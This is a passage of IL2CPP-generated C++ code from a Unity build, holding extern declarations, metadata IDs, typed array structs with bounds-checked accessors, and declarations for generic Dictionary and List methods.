Il2CppCodeGenString* _stringLiteral2757751167; extern Il2CppCodeGenString* _stringLiteral3687636376; extern Il2CppCodeGenString* _stringLiteral1144830560; extern Il2CppCodeGenString* _stringLiteral1755577857; extern const uint32_t Event_KeyboardEvent_m1089796218_MetadataUsageId; extern const uint32_t Event_Equals_m57747812_MetadataUsageId; extern Il2CppClass* EventType_t3919834026_il2cpp_TypeInfo_var; extern Il2CppClass* EventModifiers_t2690251474_il2cpp_TypeInfo_var; extern Il2CppClass* Vector2_t2243707579_il2cpp_TypeInfo_var; extern Il2CppCodeGenString* _stringLiteral3843465330; extern Il2CppCodeGenString* _stringLiteral4288185556; extern Il2CppCodeGenString* _stringLiteral1689989475; extern Il2CppCodeGenString* _stringLiteral4122007790; extern Il2CppCodeGenString* _stringLiteral3835881582; extern Il2CppCodeGenString* _stringLiteral991452214; extern Il2CppCodeGenString* _stringLiteral858294771; extern const uint32_t Event_ToString_m2977598998_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral110411363; extern const uint32_t Event_Use_m3575594482_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral3774245231; extern Il2CppCodeGenString* _stringLiteral1256080173; extern Il2CppCodeGenString* _stringLiteral1653664622; extern const uint32_t ArgumentCache_TidyAssemblyTypeName_m1302102306_MetadataUsageId; extern Il2CppCodeGenString* _stringLiteral1081251833; extern Il2CppCodeGenString* _stringLiteral878805882; extern const uint32_t BaseInvokableCall__ctor_m2877580597_MetadataUsageId; extern const uint32_t BaseInvokableCall_AllowInvoke_m88556325_MetadataUsageId; extern const Il2CppType* UnityAction_t4025899511_0_0_0_var; extern Il2CppClass* UnityAction_t4025899511_il2cpp_TypeInfo_var; extern const uint32_t InvokableCall__ctor_m1854031676_MetadataUsageId; extern const uint32_t InvokableCall_add_Delegate_m1598143083_MetadataUsageId; extern const uint32_t InvokableCall_remove_Delegate_m3290603664_MetadataUsageId; extern Il2CppClass* List_1_t1598685972_il2cpp_TypeInfo_var; extern const MethodInfo* List_1__ctor_m735894212_MethodInfo_var; extern const uint32_t InvokableCallList__ctor_m1209277579_MetadataUsageId; extern const MethodInfo* List_1_Add_m3015244976_MethodInfo_var; extern const uint32_t InvokableCallList_AddPersistentInvokableCall_m1312060710_MetadataUsageId; extern const uint32_t InvokableCallList_AddListener_m786891050_MetadataUsageId; extern Il2CppClass* Predicate_1_t672534955_il2cpp_TypeInfo_var; extern const MethodInfo* List_1_get_Item_m1328165365_MethodInfo_var; extern const MethodInfo* List_1_get_Count_m2851893812_MethodInfo_var; extern const MethodInfo* List_1_Contains_m4101498324_MethodInfo_var; extern const MethodInfo* Predicate_1__ctor_m2431180149_MethodInfo_var; extern const MethodInfo* List_1_RemoveAll_m3244229183_MethodInfo_var; extern const uint32_t InvokableCallList_RemoveListener_m3776101648_MetadataUsageId; extern const MethodInfo* List_1_Clear_m649507351_MethodInfo_var; extern const uint32_t InvokableCallList_ClearPersistent_m3606847843_MetadataUsageId; extern const MethodInfo* List_1_AddRange_m1709189726_MethodInfo_var; extern const uint32_t InvokableCallList_Invoke_m1839244635_MetadataUsageId; // System.Collections.Generic.KeyValuePair`2[] struct KeyValuePair_2U5BU5D_t3332939458 : public Il2CppArray { public: ALIGN_FIELD (8) KeyValuePair_2_t2361573779 m_Items[1]; public: inline KeyValuePair_2_t2361573779 GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline KeyValuePair_2_t2361573779 * GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, KeyValuePair_2_t2361573779 value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; } inline KeyValuePair_2_t2361573779 GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline KeyValuePair_2_t2361573779 * GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, KeyValuePair_2_t2361573779 value) { m_Items[index] = value; } }; // System.Type[] struct TypeU5BU5D_t1664964607 : public Il2CppArray { public: ALIGN_FIELD (8) Type_t * m_Items[1]; public: inline Type_t * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline Type_t ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, Type_t * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline Type_t * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline Type_t ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, Type_t * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // System.String[] struct StringU5BU5D_t1642385972 : public Il2CppArray { public: ALIGN_FIELD (8) String_t* m_Items[1]; public: inline String_t* GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline String_t** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, String_t* value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline String_t* GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline String_t** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, String_t* value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // System.Reflection.ConstructorInfo[] struct ConstructorInfoU5BU5D_t1996683371 : public Il2CppArray { public: ALIGN_FIELD (8) ConstructorInfo_t2851816542 * m_Items[1]; public: inline ConstructorInfo_t2851816542 * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline ConstructorInfo_t2851816542 ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, ConstructorInfo_t2851816542 * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline ConstructorInfo_t2851816542 * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline ConstructorInfo_t2851816542 ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, ConstructorInfo_t2851816542 * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // System.Reflection.ParameterInfo[] struct ParameterInfoU5BU5D_t2275869610 : public Il2CppArray { public: ALIGN_FIELD (8) ParameterInfo_t2249040075 * m_Items[1]; public: inline ParameterInfo_t2249040075 * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline ParameterInfo_t2249040075 ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, ParameterInfo_t2249040075 * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline ParameterInfo_t2249040075 * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline ParameterInfo_t2249040075 ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, ParameterInfo_t2249040075 * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // System.Reflection.PropertyInfo[] struct PropertyInfoU5BU5D_t1736152084 : public Il2CppArray { public: ALIGN_FIELD (8) PropertyInfo_t * m_Items[1]; public: inline PropertyInfo_t * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline PropertyInfo_t ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, PropertyInfo_t * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline PropertyInfo_t * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline PropertyInfo_t ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, PropertyInfo_t * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // System.Reflection.FieldInfo[] struct FieldInfoU5BU5D_t125053523 : public Il2CppArray { public: ALIGN_FIELD (8) FieldInfo_t * m_Items[1]; public: inline FieldInfo_t * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline FieldInfo_t ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, FieldInfo_t * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline FieldInfo_t * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline FieldInfo_t ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, FieldInfo_t * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // System.Object[] struct ObjectU5BU5D_t3614634134 : public Il2CppArray { public: ALIGN_FIELD (8) Il2CppObject * m_Items[1]; public: inline Il2CppObject * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline Il2CppObject ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, Il2CppObject * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline Il2CppObject * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline Il2CppObject ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, Il2CppObject * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // System.Char[] struct CharU5BU5D_t1328083999 : public Il2CppArray { public: ALIGN_FIELD (8) Il2CppChar m_Items[1]; public: inline Il2CppChar GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline Il2CppChar* GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, Il2CppChar value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; } inline Il2CppChar GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline Il2CppChar* GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, Il2CppChar value) { m_Items[index] = value; } }; // UnityEngine.Keyframe[] struct KeyframeU5BU5D_t449065829 : public Il2CppArray { public: ALIGN_FIELD (8) Keyframe_t1449471340 m_Items[1]; public: inline Keyframe_t1449471340 GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline Keyframe_t1449471340 * GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, Keyframe_t1449471340 value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; } inline Keyframe_t1449471340 GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline Keyframe_t1449471340 * GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, Keyframe_t1449471340 value) { m_Items[index] = value; } }; // UnityEngine.AnimatorControllerParameter[] struct AnimatorControllerParameterU5BU5D_t1936965233 : public Il2CppArray { public: ALIGN_FIELD (8) AnimatorControllerParameter_t1381019216 * m_Items[1]; public: inline AnimatorControllerParameter_t1381019216 * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline AnimatorControllerParameter_t1381019216 ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, AnimatorControllerParameter_t1381019216 * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline AnimatorControllerParameter_t1381019216 * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline AnimatorControllerParameter_t1381019216 ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, AnimatorControllerParameter_t1381019216 * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // UnityEngine.Object[] struct ObjectU5BU5D_t4217747464 : public Il2CppArray { public: ALIGN_FIELD (8) Object_t1021602117 * m_Items[1]; public: inline Object_t1021602117 * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline Object_t1021602117 ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, Object_t1021602117 * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline Object_t1021602117 * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline Object_t1021602117 ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, Object_t1021602117 * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // UnityEngine.RequireComponent[] struct RequireComponentU5BU5D_t2214070761 : public Il2CppArray { public: ALIGN_FIELD (8) RequireComponent_t864575032 * m_Items[1]; public: inline RequireComponent_t864575032 * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline RequireComponent_t864575032 ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, RequireComponent_t864575032 * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline RequireComponent_t864575032 * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline RequireComponent_t864575032 ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, RequireComponent_t864575032 * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // UnityEngine.DisallowMultipleComponent[] struct DisallowMultipleComponentU5BU5D_t674354611 : public Il2CppArray { public: ALIGN_FIELD (8) DisallowMultipleComponent_t2656950 * m_Items[1]; public: inline DisallowMultipleComponent_t2656950 * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline DisallowMultipleComponent_t2656950 ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, DisallowMultipleComponent_t2656950 * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline DisallowMultipleComponent_t2656950 * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline DisallowMultipleComponent_t2656950 ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, DisallowMultipleComponent_t2656950 * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // UnityEngine.ExecuteInEditMode[] struct ExecuteInEditModeU5BU5D_t1783660110 : public Il2CppArray { public: ALIGN_FIELD (8) ExecuteInEditMode_t3043633143 * m_Items[1]; public: inline ExecuteInEditMode_t3043633143 * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline ExecuteInEditMode_t3043633143 ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, ExecuteInEditMode_t3043633143 * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline ExecuteInEditMode_t3043633143 * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline ExecuteInEditMode_t3043633143 ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, ExecuteInEditMode_t3043633143 * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // System.Single[] struct SingleU5BU5D_t577127397 : public Il2CppArray { public: ALIGN_FIELD (8) float m_Items[1]; public: inline float GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline float* GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, float value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; } inline float GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline float* GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, float value) { m_Items[index] = value; } }; // UnityEngine.Camera[] struct CameraU5BU5D_t3079764780 : public Il2CppArray { public: ALIGN_FIELD (8) Camera_t189460977 * m_Items[1]; public: inline Camera_t189460977 * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline Camera_t189460977 ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, Camera_t189460977 * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline Camera_t189460977 * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline Camera_t189460977 ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, Camera_t189460977 * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // UnityEngine.ContactPoint[] struct ContactPointU5BU5D_t1084937515 : public Il2CppArray { public: ALIGN_FIELD (8) ContactPoint_t1376425630 m_Items[1]; public: inline ContactPoint_t1376425630 GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline ContactPoint_t1376425630 * GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, ContactPoint_t1376425630 value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; } inline ContactPoint_t1376425630 GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline ContactPoint_t1376425630 * GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, ContactPoint_t1376425630 value) { m_Items[index] = value; } }; // UnityEngine.ContactPoint2D[] struct ContactPoint2DU5BU5D_t1215651809 : public Il2CppArray { public: ALIGN_FIELD (8) ContactPoint2D_t3659330976 m_Items[1]; public: inline ContactPoint2D_t3659330976 GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline ContactPoint2D_t3659330976 * GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, ContactPoint2D_t3659330976 value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; } inline ContactPoint2D_t3659330976 GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline ContactPoint2D_t3659330976 * GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, ContactPoint2D_t3659330976 value) { m_Items[index] = value; } }; // UnityEngine.Component[] struct ComponentU5BU5D_t4136971630 : public Il2CppArray { public: ALIGN_FIELD (8) Component_t3819376471 * m_Items[1]; public: inline Component_t3819376471 * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline Component_t3819376471 ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, Component_t3819376471 * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline Component_t3819376471 * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline Component_t3819376471 ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, Component_t3819376471 * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; // System.IntPtr[] struct IntPtrU5BU5D_t169632028 : public Il2CppArray { public: ALIGN_FIELD (8) IntPtr_t m_Items[1]; public: inline IntPtr_t GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline IntPtr_t* GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, IntPtr_t value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; } inline IntPtr_t GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline IntPtr_t* GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, IntPtr_t value) { m_Items[index] = value; } }; // UnityEngine.Display[] struct DisplayU5BU5D_t1314630077 : public Il2CppArray { public: ALIGN_FIELD (8) Display_t3666191348 * m_Items[1]; public: inline Display_t3666191348 * GetAt(il2cpp_array_size_t index) const { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items[index]; } inline Display_t3666191348 ** GetAddressAt(il2cpp_array_size_t index) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); return m_Items + index; } inline void SetAt(il2cpp_array_size_t index, Display_t3666191348 * value) { IL2CPP_ARRAY_BOUNDS_CHECK(index, (uint32_t)(this)->max_length); m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } inline Display_t3666191348 * GetAtUnchecked(il2cpp_array_size_t index) const { return m_Items[index]; } inline Display_t3666191348 ** GetAddressAtUnchecked(il2cpp_array_size_t index) { return m_Items + index; } inline void SetAtUnchecked(il2cpp_array_size_t index, Display_t3666191348 * value) { m_Items[index] = value; Il2CppCodeGenWriteBarrier(m_Items + index, value); } }; extern "C" void Object_t1021602117_marshal_pinvoke(const Object_t1021602117& unmarshaled, Object_t1021602117_marshaled_pinvoke& marshaled); extern "C" void Object_t1021602117_marshal_pinvoke_back(const Object_t1021602117_marshaled_pinvoke& marshaled, Object_t1021602117& unmarshaled); extern "C" void Object_t1021602117_marshal_pinvoke_cleanup(Object_t1021602117_marshaled_pinvoke& marshaled); extern "C" void Object_t1021602117_marshal_com(const Object_t1021602117& unmarshaled, Object_t1021602117_marshaled_com& marshaled); extern "C" void Object_t1021602117_marshal_com_back(const Object_t1021602117_marshaled_com& marshaled, Object_t1021602117& unmarshaled); extern "C" void Object_t1021602117_marshal_com_cleanup(Object_t1021602117_marshaled_com& marshaled); // System.Void System.Collections.Generic.List`1::.ctor() extern "C" void List_1__ctor_m310736118_gshared (List_1_t2058570427 * __this, const MethodInfo* method); // System.Void System.Collections.Generic.Dictionary`2::.ctor() extern "C" void Dictionary_2__ctor_m584589095_gshared (Dictionary_2_t2281509423 * __this, const MethodInfo* method); // System.Void System.Collections.Generic.Dictionary`2::Add(!0,!1) extern "C" void Dictionary_2_Add_m4209421183_gshared (Dictionary_2_t2281509423 * __this, Il2CppObject * p0, Il2CppObject * p1, const MethodInfo* method); // System.Collections.Generic.Dictionary`2/KeyCollection System.Collections.Generic.Dictionary`2::get_Keys() extern "C" KeyCollection_t470039898 * Dictionary_2_get_Keys_m2664427549_gshared (Dictionary_2_t2281509423 * __this, const MethodInfo* method); // System.Boolean System.Collections.Generic.Dictionary`2::TryGetValue(!0,!1&) extern "C" bool Dictionary_2_TryGetValue_m3975825838_gshared (Dictionary_2_t2281509423 * __this, Il2CppObject * p0, Il2CppObject ** p1, const MethodInfo* method); // System.Collections.Generic.Dictionary`2/ValueCollection System.Collections.Generic.Dictionary`2::get_Values() extern "C" ValueCollection_t984569266 * Dictionary_2_get_Values_m2233445381_gshared (Dictionary_2_t2281509423 * __this, const MethodInfo* method); // !1 System.Collections.Generic.Dictionary`2::get_Item(!0) extern "C" Il2CppObject * Dictionary_2_get_Item_m4062719145_gshared (Dictionary_2_t2281509423 * __this, Il2CppObject * p0, const MethodInfo* method); // System.Void System.Collections.Generic.Dictionary`2::set_Item(!0,!1) extern "C" void Dictionary_2_set_Item_m1004257024_gshared (Dictionary_2_t2281509423 * __this, Il2CppObject * p0, Il2CppObject * p1, const MethodInfo* method); // !0 System.Collections.Generic.KeyValuePair`2::get_Key() extern "C" Il2CppObject * KeyValuePair_2_get_Key_m3385717033_gshared (KeyValuePair_2_t38854645 * __this, const MethodInfo* method); // !1 System.Collections.Generic.KeyValuePair`2::get_Value() extern "C" Il2CppObject * KeyValuePair_2_get_Value_m1251901674_gshared (KeyValuePair_2_t38854645 * __this, const MethodInfo* method); // System.Void System.Collections.Generic.Dictionary`2::Clear() extern "C" void Dictionary_2_Clear_m2325793156_gshared (Dictionary_2_t2281509423 * __this, const MethodInfo* method); // System.Boolean System.Collections.Generic.Dictionary`2::ContainsKey(!0) extern "C" bool Dictionary_2_ContainsKey_m3321918434_gshared (Dictionary_2_t2281509423 * __this, Il2CppObject * p0, const MethodInfo* method); // System.Int32 System.Collections.Generic.Dictionary`2::get_Count() extern "C" int32_t Dictionary_2_get_Count_m3636113691_gshared (Dictionary_2_t2281509423 * __this, const MethodInfo* method); // System.Boolean System.Collections.Generic.Dictionary`2::Remove(!0) extern "C" bool Dictionary_2_Remove_m112127646_gshared (Dictionary_2_t2281509423 * __this, Il2CppObject * p0, const MethodInfo* method); // 